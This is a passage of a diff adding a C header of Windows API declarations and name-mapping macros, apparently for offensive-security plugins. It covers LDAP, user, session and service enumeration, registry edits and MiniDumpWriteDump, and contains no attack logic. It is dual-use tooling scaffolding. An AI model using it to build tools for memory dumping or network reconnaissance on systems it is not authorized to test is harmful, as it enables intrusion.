+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid,
+ LPUNKNOWN pUnkOuter,
+ DWORD dwClsContext,
+ REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCOLESTR lpsz,
+ LPCLSID pclsid);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPCOLESTR lpsz, LPIID lpiid);
+DECLSPEC_IMPORT int WINAPI OLE32$StringFromGUID2(REFGUID rguid, LPOLESTR lpsz,
+ int cchMax);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoSetProxyBlanket(
+ IUnknown *pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc,
+ OLECHAR *pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel,
+ RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities);
+DECLSPEC_IMPORT LPVOID WINAPI OLE32$CoTaskMemAlloc(SIZE_T cb);
+DECLSPEC_IMPORT void WINAPI OLE32$CoTaskMemFree(LPVOID pv);
+
+// OLEAUT32
+DECLSPEC_IMPORT BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *);
+DECLSPEC_IMPORT INT WINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$SysFreeString(BSTR);
+DECLSPEC_IMPORT UINT WINAPI OLEAUT32$SysStringLen(BSTR);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SysAddRefString(BSTR);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest,
+ VARIANTARG *pvarSrc,
+ USHORT wFlags,
+ VARTYPE vt);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn,
+ int iNamedFormat,
+ ULONG dwFlags,
+ BSTR *pbstrOut);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa,
+ UINT nDim,
+ LONG *plLbound);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa,
+ UINT nDim,
+ LONG *plUbound);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa,
+ LONG *rgIndices,
+ void *pv);
+DECLSPEC_IMPORT UINT WINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa);
+DECLSPEC_IMPORT HRESULT WINAPI
+OLEAUT32$SafeArrayAccessData(SAFEARRAY *psa, void HUGEP **ppvData);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY *psa);
+
+// CERTCLI
+/*
+DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumFirstCA(IN LPCWSTR wszScope, IN
+DWORD dwFlags, OUT LPVOID * phCAInfo); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAEnumNextCA(IN LPVOID hPrevCA, OUT LPVOID * phCAInfo); DECLSPEC_IMPORT
+HRESULT WINAPI CERTCLI$CACloseCA(IN LPVOID hCA); DECLSPEC_IMPORT DWORD WINAPI
+CERTCLI$CACountCAs(IN LPVOID hCAInfo); DECLSPEC_IMPORT LPCWSTR WINAPI
+CERTCLI$CAGetDN(IN LPVOID hCAInfo); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAGetCAProperty(IN LPVOID hCAInfo, IN LPCWSTR wszPropertyName, OUT
+PZPWSTR *pawszPropertyValue); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAFreeCAProperty(IN LPVOID hCAInfo, IN PZPWSTR awszPropertyValue);
+DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAFlags(IN LPVOID hCAInfo, OUT DWORD
+*pdwFlags); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCACertificate(IN LPVOID
+hCAInfo, OUT PCCERT_CONTEXT *ppCert); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAGetCAExpiration(IN LPVOID hCAInfo, OUT DWORD * pdwExpiration, OUT
+DWORD * pdwUnits); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCASecurity(IN
+LPVOID hCAInfo, OUT PSECURITY_DESCRIPTOR * ppSD); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAGetAccessRights(IN LPVOID hCAInfo, IN DWORD dwContext, OUT DWORD
+*pdwAccessRights); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAEnumCertTypesForCA(IN LPVOID hCAInfo, IN DWORD dwFlags, OUT LPVOID *
+phCertType); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypes(IN DWORD
+dwFlags, OUT LPVOID * phCertType); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAEnumNextCertType(IN LPVOID hPrevCertType, OUT LPVOID * phCertType);
+DECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCertTypes(IN LPVOID hCertType);
+DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCertType(IN LPVOID hCertType);
+DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeProperty(IN LPVOID
+hCertType, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue);
+DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypePropertyEx(IN LPVOID
+hCertType, IN LPCWSTR wszPropertyName, OUT LPVOID *pPropertyValue);
+DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeProperty(IN LPVOID
+hCertType, IN PZPWSTR awszPropertyValue); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAGetCertTypeExtensionsEx(IN LPVOID hCertType, IN DWORD dwFlags, IN
+LPVOID pParam, OUT PCERT_EXTENSIONS * ppCertExtensions); DECLSPEC_IMPORT HRESULT
+WINAPI CERTCLI$CAFreeCertTypeExtensions(IN LPVOID hCertType, IN PCERT_EXTENSIONS
+pCertExtensions); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeFlagsEx(IN
+LPVOID hCertType, IN DWORD dwOption, OUT DWORD * pdwFlags); DECLSPEC_IMPORT
+HRESULT WINAPI CERTCLI$CAGetCertTypeExpiration(IN LPVOID hCertType, OUT OPTIONAL
+FILETIME * pftExpiration, OUT OPTIONAL FILETIME * pftOverlap); DECLSPEC_IMPORT
+HRESULT WINAPI CERTCLI$CACertTypeGetSecurity(IN LPVOID hCertType, OUT
+PSECURITY_DESCRIPTOR * ppSD); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$CAGetCertTypeAccessRights(IN LPVOID hCertType, IN DWORD dwContext, OUT
+DWORD *pdwAccessRights); DECLSPEC_IMPORT HRESULT WINAPI
+CERTCLI$caTranslateFileTimePeriodToPeriodUnits(IN FILETIME const *pftGMT, IN
+BOOL Flags, OUT DWORD *pcPeriodUnits, OUT LPVOID*prgPeriodUnits);
+*/
+
+// dbghelp
+DECLSPEC_IMPORT WINBOOL WINAPI DBGHELP$MiniDumpWriteDump(
+ HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType,
+ CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
+ CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
+ CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
+
+// WLDAP32
+WINLDAPAPI LDAP *LDAPAPI WLDAP32$ldap_init(PSTR, ULONG);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld, const PSTR dn,
+ const PCHAR cred, ULONG method);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld, PSTR base, ULONG scope,
+ PSTR filter, PZPSTR attrs,
+ ULONG attrsonly,
+ PLDAPMessage *res);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP *, LDAPMessage *);
+WINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA(
+ LDAP *ExternalHandle, LDAPMessage *Message, const PCHAR attr);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_set_optionA(LDAP *ld, int option,
+ const void *invalue);
+WINLDAPAPI PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA(
+ PLDAP ExternalHandle, const PCHAR DistinguishedName, ULONG ScopeOfSearch,
+ const PCHAR SearchFilter, PCHAR AttributeList[], ULONG AttributesOnly,
+ PLDAPControlA *ServerControls, PLDAPControlA *ClientControls,
+ ULONG PageTimeLimit, ULONG TotalSizeLimit, PLDAPSortKeyA *SortKeys);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_paged_count(PLDAP ExternalHandle,
+ PLDAPSearch SearchBlock,
+ ULONG *TotalCount,
+ PLDAPMessage Results);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_next_page_s(
+ PLDAP ExternalHandle, PLDAPSearch SearchHandle, struct l_timeval *timeout,
+ ULONG PageSize, ULONG *TotalCount, LDAPMessage **Results);
+
+WINLDAPAPI LDAPMessage *LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld,
+ LDAPMessage *res);
+WINLDAPAPI LDAPMessage *LDAPAPI WLDAP32$ldap_next_entry(LDAP *, LDAPMessage *);
+WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld,
+ LDAPMessage *entry,
+ BerElement **ptr);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_values(PCHAR);
+WINLDAPAPI PCHAR *LDAPAPI WLDAP32$ldap_get_values(LDAP *ld, LDAPMessage *entry,
+ const PSTR attr);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free(PCHAR *);
+WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld,
+ LDAPMessage *entry,
+ BerElement *ptr);
+WINLDAPAPI VOID LDAPAPI WLDAP32$ber_free(BerElement *pBerElement, INT fbuf);
+WINLDAPAPI VOID LDAPAPI WLDAP32$ldap_memfree(PCHAR);
+
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP *);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP *);
+WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage *);
+
+// RPCRT4
+RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid,
+ RPC_CSTR *StringUuid);
+RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String);
+
+// PSAPI
+DECLSPEC_IMPORT WINBOOL WINAPI PSAPI$EnumProcessModulesEx(HANDLE hProcess,
+ HMODULE *lphModule,
+ DWORD cb,
+ LPDWORD lpcbNeeded,
+ DWORD dwFilterFlag);
+DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExA(HANDLE hProcess,
+ HMODULE hModule,
+ LPSTR lpFilename,
+ DWORD nSize);
+
+// VERSION
+DECLSPEC_IMPORT DWORD WINAPI
+VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea, LPDWORD lpdwHandle);
+DECLSPEC_IMPORT WINBOOL WINAPI VERSION$GetFileVersionInfoA(
+ LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
+DECLSPEC_IMPORT WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock,
+ LPCSTR lpSubBlock,
+ LPVOID *lplpBuffer,
+ PUINT puLen);
+
+#else
+
+#define intAlloc(size) \
+ KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
+#define intRealloc(ptr, size) \
+ (ptr) \
+ ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, \
+ size) \
+ : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
+#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
+#define intZeroMemory(addr, size) MSVCRT$memset((addr), 0, size)
+
+#define KERNEL32$VirtualAlloc VirtualAlloc
+#define KERNEL32$VirtualFree VirtualFree
+#define KERNEL32$LocalAlloc LocalAlloc
+#define KERNEL32$LocalFree LocalFree
+#define KERNEL32$HeapAlloc HeapAlloc
+#define KERNEL32$HeapReAlloc HeapReAlloc
+#define KERNEL32$GetProcessHeap GetProcessHeap
+#define KERNEL32$HeapFree HeapFree
+#define Kernel32$FormatMessageA FormatMessageA
+#define Kernel32$WideCharToMultiByte WideCharToMultiByte
+#define KERNEL32$MultiByteToWideChar MultiByteToWideChar
+#define KERNEL32$FileTimeToLocalFileTime FileTimeToLocalFileTime
+#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime
+#define KERNEL32$GetDateFormatW GetDateFormatW
+#define KERNEL32$GetSystemTimeAsFileTime GetSystemTimeAsFileTime
+#define KERNEL32$GetLocalTime GetLocalTime
+#define KERNEL32$SystemTimeToFileTime SystemTimeToFileTime
+#define KERNEL32$SystemTimeToTzSpecificLocalTime SystemTimeToTzSpecificLocalTime
+#define KERNEL32$GlobalMemoryStatusEx GlobalMemoryStatusEx
+#define KERNEL32$GetDiskFreeSpaceExA GetDiskFreeSpaceExA
+#define KERNEL32$GetCurrentProcess GetCurrentProcess
+#define KERNEL32$GetCurrentProcessId GetCurrentProcessId
+#define KERNEL32$GetLastError GetLastError
+#define KERNEL32$CloseHandle CloseHandle
+#define KERNEL32$CreateThread CreateThread
+#define KERNEL32$GetTickCount GetTickCount
+#define KERNEL32$GetTickCount64 GetTickCount64
+#define KERNEL32$CreateFiber CreateFiber
+#define KERNEL32$ConvertThreadToFiber ConvertThreadToFiber
+#define KERNEL32$ConvertFiberToThread ConvertFiberToThread
+#define KERNEL32$DeleteFiber DeleteFiber
+#define KERNEL32$SwitchToFiber SwitchToFiber
+#define KERNEL32$WaitForSingleObject WaitForSingleObject
+#define KERNEL32$Sleep Sleep
+#define KERNEL32$DeleteFileW DeleteFileW
+#define KERNEL32$CreateFileW CreateFileW
+#define KERNEL32$GetFileSize GetFileSize
+#define KERNEL32$ReadFile ReadFile
+#define KERNEL32$OpenProcess OpenProcess
+#define KERNEL32$GetComputerNameExW GetComputerNameExW
+#define KERNEL32$lstrlenW lstrlenW
+#define KERNEL32$lstrcatW lstrcatW
+#define KERNEL32$lstrcpynW lstrcpynW
+#define KERNEL32$GetFullPathNameW GetFullPathNameW
+#define KERNEL32$GetFileAttributesW GetFileAttributesW
+#define KERNEL32$GetCurrentDirectoryW GetCurrentDirectoryW
+#define KERNEL32$FindFirstFileW FindFirstFileW
+#define KERNEL32$FindNextFileW FindNextFileW
+#define KERNEL32$FindClose FindClose
+#define KERNEL32$SetLastError SetLastError
+#define KERNEL32$HeapAlloc HeapAlloc
+#define KERNEL32$HeapReAlloc HeapReAlloc
+#define KERNEL32$HeapFree HeapFree
+#define MSVCRT$memset memset
+#define KERNEL32$GlobalAlloc GlobalAlloc
+#define KERNEL32$GlobalFree GlobalFree
+#define KERNEL32$GetEnvironmentStrings GetEnvironmentStrings
+#define KERNEL32$FreeEnvironmentStringsA FreeEnvironmentStringsA
+#define KERNEL32$ExpandEnvironmentStringsW ExpandEnvironmentStringsW
+#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot
+#define KERNEL32$Process32First Process32First
+#define KERNEL32$Process32Next Process32Next
+#define KERNEL32$Module32First Module32First
+#define KERNEL32$Module32Next Module32Next
+#define KERNEL32$LoadLibraryA LoadLibraryA
+#define KERNEL32$GetProcAddress GetProcAddress
+#define KERNEL32$FreeLibrary FreeLibrary
+#define KERNEL32$lstrlenA lstrlenA
+#define KERNEL32$GetLocaleInfoEx GetLocaleInfoEx
+#define KERNEL32$GetSystemDefaultLocaleName GetSystemDefaultLocaleName
+#define KERNEL32$LocaleNameToLCID LocaleNameToLCID
+#define KERNEL32$GetDateFormatEx GetDateFormatEx
+
+#define WTSAPI32$WTSEnumerateSessionsA WTSEnumerateSessionsA
+#define WTSAPI32$WTSQuerySessionInformationA WTSQuerySessionInformationA
+#define WTSAPI32$WTSFreeMemory WTSFreeMemory
+#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo
+#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo
+#define IPHLPAPI$GetIpForwardTable GetIpForwardTable
+#define IPHLPAPI$GetNetworkParams GetNetworkParams
+#define IPHLPAPI$GetUdpTable GetUdpTable
+#define IPHLPAPI$GetTcpTable GetTcpTable
+#define IPHLPAPI$GetIpNetTable GetIpNetTable
+#define MSVCRT$calloc calloc
+#define MSVCRT$memcpy memcpy
+#define MSVCRT$memcmp memcmp
+#define MSVCRT$realloc realloc
+#define MSVCRT$free free
+#define MSVCRT$memset memset
+#define MSVCRT$sprintf sprintf
+#define MSVCRT$vsnprintf vsnprintf
+#define MSVCRT$_snwprintf _snwprintf
+#define MSVCRT$wcscpy_s wcscpy_s
+#define MSVCRT$wcstombs wcstombs
+#define MSVCRT$wcslen wcslen
+#define MSVCRT$sprintf sprintf
+#define MSVCRT$wcscmp wcscmp
+#define MSVCRT$wcstok wcstok
+#define MSVCRT$wcstok_s wcstok_s
+#define MSVCRT$wcsstr wcsstr
+#define MSVCRT$wcscat wcscat
+#define MSVCRT$wcsncat wcsncat
+#define MSVCRT$wcscpy wcscpy
+#define MSVCRT$_wcsicmp _wcsicmp
+#define MSVCRT$wcschr wcschr
+#define MSVCRT$wcsncat wcsncat
+#define MSVCRT$wcsrchr wcsrchr
+#define MSVCRT$wcsrchr wcsrchr
+#define MSVCRT$wcstoul wcstoul
+#define MSVCRT$strcat strcat
+#define MSVCRT$strnlen strnlen
+#define MSVCRT$strlen strlen
+#define MSVCRT$strcmp strcmp
+#define MSVCRT$strncmp strncmp
+#define MSVCRT$strcpy strcpy
+#define MSVCRT$strstr strstr
+#define MSVCRT$strchr strchr
+#define MSVCRT$strtok strtok
+#define MSVCRT$strtok_s strtok_s
+#define MSVCRT$strtoul strtoul
+#define DNSAPI$DnsQuery_A DnsQuery_A
+#define DNSAPI$DnsFree DnsFree
+#define WSOCK32$inet_addr inet_addr
+#define WS2_32$closesocket closesocket
+#define WS2_32$connect connect
+#define WS2_32$freeaddrinfo freeaddrinfo
+#define WS2_32$getaddrinfo getaddrinfo
+#define WS2_32$htonl htonl
+#define WS2_32$htons htons
+#define WS2_32$inet_ntoa inet_ntoa
+#define WS2_32$ioctlsocket ioctlsocket
+#define WS2_32$select select
+#define WS2_32$socket socket
+#define WS2_32$__WSAFDIsSet __WSAFDIsSet
+#define WS2_32$WSAGetLastError WSAGetLastError
+#define NETAPI32$DsGetDcNameA DsGetDcNameA
+#define NETAPI32$NetUserGetInfo NetUserGetInfo
+#define NETAPI32$NetUserModalsGet NetUserModalsGet
+#define NETAPI32$NetServerEnum NetServerEnum
+#define NETAPI32$NetUserGetGroups NetUserGetGroups
+#define NETAPI32$NetUserGetLocalGroups NetUserGetLocalGroups
+#define NETAPI32$NetApiBufferFree NetApiBufferFree
+#define NETAPI32$NetGetAnyDCName NetGetAnyDCName
+#define NETAPI32$NetUserEnum NetUserEnum
+#define NETAPI32$NetGroupGetUsers NetGroupGetUsers
+#define NETAPI32$NetQueryDisplayInformation NetQueryDisplayInformation
+#define NETAPI32$NetLocalGroupEnum NetLocalGroupEnum
+#define NETAPI32$NetLocalGroupGetMembers NetLocalGroupGetMembers
+#define NETAPI32$NetUserSetInfo NetUserSetInfo
+#define NETAPI32$NetShareEnum NetShareEnum
+#define NETAPI32$NetApiBufferFree NetApiBufferFree
+#define NETAPI32$NetSessionEnum NetSessionEnum
+#define MPR$WNetOpenEnumW WNetOpenEnumW
+#define MPR$WNetEnumResourceW WNetEnumResourceW
+#define MPR$WNetCloseEnum WNetCloseEnum
+#define MPR$WNetGetNetworkInformationW WNetGetNetworkInformationW
+#define MPR$WNetGetConnectionW WNetGetConnectionW
+#define MPR$WNetGetResourceInformationW WNetGetResourceInformationW
+#define MPR$WNetGetUserW WNetGetUserW
+#define MPR$WNetAddConnection2W WNetAddConnection2W
+#define MPR$WNetCancelConnection2W WNetCancelConnection2W
+#define USER32$EnumDesktopWindows EnumDesktopWindows
+#define USER32$IsWindowVisible IsWindowVisible
+#define USER32$GetWindowTextA GetWindowTextA
+#define USER32$GetClassNameA GetClassNameA
+#define USER32$CharPrevW CharPrevW
+#define USER32$FindWindowExA FindWindowExA
+#define USER32$SendMessageA SendMessageA
+#define USER32$GetWindowTextA GetWindowTextA
+#define USER32$GetClassNameA GetClassNameA
+#define USER32$EnumChildWindows EnumChildWindows
+#define SECUR32$GetUserNameExA GetUserNameExA
+#define SHLWAPI$StrStrIA StrStrIA
+#define ADVAPI32$OpenProcessToken OpenProcessToken
+#define ADVAPI32$GetTokenInformation GetTokenInformation
+#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA
+#define ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW \
+ ConvertStringSecurityDescriptorToSecurityDescriptorW
+#define ADVAPI32$LookupAccountSidA LookupAccountSidA
+#define ADVAPI32$LookupAccountSidW LookupAccountSidW
+#define ADVAPI32$LookupPrivilegeNameA LookupPrivilegeNameA
+#define ADVAPI32$LookupPrivilegeDisplayNameA LookupPrivilegeDisplayNameA
+#define ADVAPI32$OpenSCManagerA OpenSCManagerA
+#define ADVAPI32$OpenServiceA OpenServiceA
+#define ADVAPI32$QueryServiceStatus QueryServiceStatus
+#define ADVAPI32$QueryServiceConfigA QueryServiceConfigA
+#define ADVAPI32$CloseServiceHandle CloseServiceHandle
+#define ADVAPI32$EnumServicesStatusExA EnumServicesStatusExA
+#define ADVAPI32$QueryServiceStatusEx QueryServiceStatusEx
+#define ADVAPI32$QueryServiceConfig2A QueryServiceConfig2A
+#define ADVAPI32$ChangeServiceConfig2A ChangeServiceConfig2A
+#define ADVAPI32$ChangeServiceConfigA ChangeServiceConfigA
+#define ADVAPI32$CreateServiceA CreateServiceA
+#define ADVAPI32$DeleteService DeleteService
+#define ADVAPI32$RegOpenKeyExW RegOpenKeyExW
+#define ADVAPI32$EnumServicesStatusExW EnumServicesStatusExW
+#define ADVAPI32$RegCreateKeyA RegCreateKeyA
+#define ADVAPI32$RegSetValueExA RegSetValueExA
+#define ADVAPI32$RegOpenKeyExA RegOpenKeyExA
+#define ADVAPI32$RegConnectRegistryA RegConnectRegistryA
+#define ADVAPI32$RegCloseKey RegCloseKey
+#define ADVAPI32$RegOpenKeyA RegOpenKeyA
+#define ADVAPI32$RegCreateKeyExA RegCreateKeyExA
+#define ADVAPI32$RegDeleteKeyExA RegDeleteKeyExA
+#define ADVAPI32$RegDeleteKeyValueA RegDeleteKeyValueA
+#define ADVAPI32$RegQueryValueExA RegQueryValueExA
+#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA
+#define ADVAPI32$RegEnumValueA RegEnumValueA
+#define ADVAPI32$RegEnumValueW RegEnumValueW
+#define ADVAPI32$RegQueryInfoKeyW RegQueryInfoKeyW
+#define ADVAPI32$RegEnumKeyExW RegEnumKeyExW
+#define ADVAPI32$RegEnumKeyExA RegEnumKeyExA
+#define ADVAPI32$RegDeleteValueA RegDeleteValueA
+#define ADVAPI32$RegQueryValueExW RegQueryValueExW
+#define ADVAPI32$RegSaveKeyExA RegSaveKeyExA
+#define ADVAPI32$GetFileSecurityW GetFileSecurityW
+#define ADVAPI32$GetSecurityDescriptorOwner GetSecurityDescriptorOwner
+#define ADVAPI32$GetSecurityDescriptorDacl GetSecurityDescriptorDacl
+#define ADVAPI32$GetAclInformation GetAclInformation
+#define ADVAPI32$GetAce GetAce
+#define ADVAPI32$LookupAccountSidW LookupAccountSidW
+#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW
+#define ADVAPI32$MapGenericMask MapGenericMask
+#define ADVAPI32$OpenProcessToken OpenProcessToken
+#define ADVAPI32$GetTokenInformation GetTokenInformation
+#define ADVAPI32$InitializeSecurityDescriptor InitializeSecurityDescriptor
+#define ADVAPI32$SetSecurityDescriptorDacl SetSecurityDescriptorDacl
+#define ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW \
+ ConvertSecurityDescriptorToStringSecurityDescriptorW
+#define ADVAPI32$StartServiceA StartServiceA
+#define ADVAPI32$ControlService ControlService
+#define ADVAPI32$EnumDependentServicesA EnumDependentServicesA
+#define NTDLL$NtCreateFile NtCreateFile
+#define NTDLL$NtClose NtClose
+#define IMAGEHLP$ImageEnumerateCertificates ImageEnumerateCertificates
+#define IMAGEHLP$ImageGetCertificateHeader ImageGetCertificateHeader
+#define IMAGEHLP$ImageGetCertificateData ImageGetCertificateData
+#define CRYPT32$CryptVerifyMessageSignature CryptVerifyMessageSignature
+#define CRYPT32$CertGetNameStringW CertGetNameStringW
+#define CRYPT32$CertGetCertificateContextProperty \
+ CertGetCertificateContextProperty
+#define CRYPT32$CertCreateCertificateContext CertCreateCertificateContext
+#define CRYPT32$CertFreeCertificateContext CertFreeCertificateContext
+#define CRYPT32$CertGetCertificateChain CertGetCertificateChain
+#define CRYPT32$CertFreeCertificateChain CertFreeCertificateChain
+#define CRYPT32$CryptFindOIDInfo CryptFindOIDInfo
+#define WS2_32$InetNtopW InetNtopW
+#define WS2_32$inet_pton inet_pton
+#define DNSAPI$DnsFree DnsFree
+#define DNSAPI$DnsGetCacheDataTable DnsGetCacheDataTable
+#define OLE32$CoInitializeEx CoInitializeEx
+#define OLE32$CoUninitialize CoUninitialize
+#define OLE32$CoInitializeSecurity CoInitializeSecurity
+#define OLE32$CoCreateInstance CoCreateInstance
+#define OLE32$CLSIDFromString CLSIDFromString
+#define OLE32$IIDFromString IIDFromString
+#define OLE32$StringFromGUID2 StringFromGUID2
+#define OLE32$CoSetProxyBlanket CoSetProxyBlanket
+#define OLE32$CoTaskMemAlloc CoTaskMemAlloc
+#define OLE32$CoTaskMemFree CoTaskMemFree
+#define OLEAUT32$SysAllocString SysAllocString
+#define OLEAUT32$SysReAllocString SysReAllocString
+#define OLEAUT32$SysFreeString SysFreeString
+#define OLEAUT32$SysStringLen SysStringLen
+#define OLEAUT32$VariantInit VariantInit
+#define OLEAUT32$VariantClear VariantClear
+#define OLEAUT32$SysAddRefString SysAddRefString
+#define OLEAUT32$VariantChangeType VariantChangeType
+#define OLEAUT32$VarFormatDateTime VarFormatDateTime
+#define OLEAUT32$SafeArrayDestroy SafeArrayDestroy
+#define OLEAUT32$SafeArrayLock SafeArrayLock
+#define OLEAUT32$SafeArrayGetLBound SafeArrayGetLBound
+#define OLEAUT32$SafeArrayGetUBound SafeArrayGetUBound
+#define OLEAUT32$SafeArrayGetElement SafeArrayGetElement
+#define OLEAUT32$SafeArrayGetElemsize SafeArrayGetElemsize
+#define OLEAUT32$SafeArrayAccessData SafeArrayAccessData
+#define OLEAUT32$SafeArrayUnaccessData SafeArrayUnaccessData
+
+/*
+#define CERTCLI$CAEnumFirstCA CAEnumFirstCA
+#define CERTCLI$CAEnumNextCA CAEnumNextCA
+#define CERTCLI$CACloseCA CACloseCA
+#define CERTCLI$CACountCAs CACountCAs
+#define CERTCLI$CAGetDN CAGetDN
+#define CERTCLI$CAGetCAProperty CAGetCAProperty
+#define CERTCLI$CAFreeCAProperty CAFreeCAProperty
+#define CERTCLI$CAGetCAFlags CAGetCAFlags
+#define CERTCLI$CAGetCACertificate CAGetCACertificate
+#define CERTCLI$CAGetCAExpiration CAGetCAExpiration
+#define CERTCLI$CAGetCASecurity CAGetCASecurity
+#define CERTCLI$CAGetAccessRights CAGetAccessRights
+#define CERTCLI$CAEnumCertTypesForCA CAEnumCertTypesForCA
+#define CERTCLI$CAEnumCertTypes CAEnumCertTypes
+#define CERTCLI$CAEnumNextCertType CAEnumNextCertType
+#define CERTCLI$CACountCertTypes CACountCertTypes
+#define CERTCLI$CACloseCertType CACloseCertType
+#define CERTCLI$CAGetCertTypeProperty CAGetCertTypeProperty
+#define CERTCLI$CAGetCertTypePropertyEx CAGetCertTypePropertyEx
+#define CERTCLI$CAFreeCertTypeProperty CAFreeCertTypeProperty
+#define CERTCLI$CAGetCertTypeExtensionsEx CAGetCertTypeExtensionsEx
+#define CERTCLI$CAFreeCertTypeExtensions CAFreeCertTypeExtensions
+#define CERTCLI$CAGetCertTypeFlagsEx CAGetCertTypeFlagsEx
+#define CERTCLI$CAGetCertTypeExpiration CAGetCertTypeExpiration
+#define CERTCLI$CACertTypeGetSecurity CACertTypeGetSecurity
+#define CERTCLI$CAGetCertTypeAccessRights CAGetCertTypeAccessRights
+#define CERTCLI$caTranslateFileTimePeriodToPeriodUnits
+caTranslateFileTimePeriodToPeriodUnits
+*/
+
+#define DBGHELP$MiniDumpWriteDump MiniDumpWriteDump
+#define WLDAP32$ldap_init ldap_init
+#define WLDAP32$ldap_bind_s ldap_bind_s
+#define WLDAP32$ldap_search_s ldap_search_s
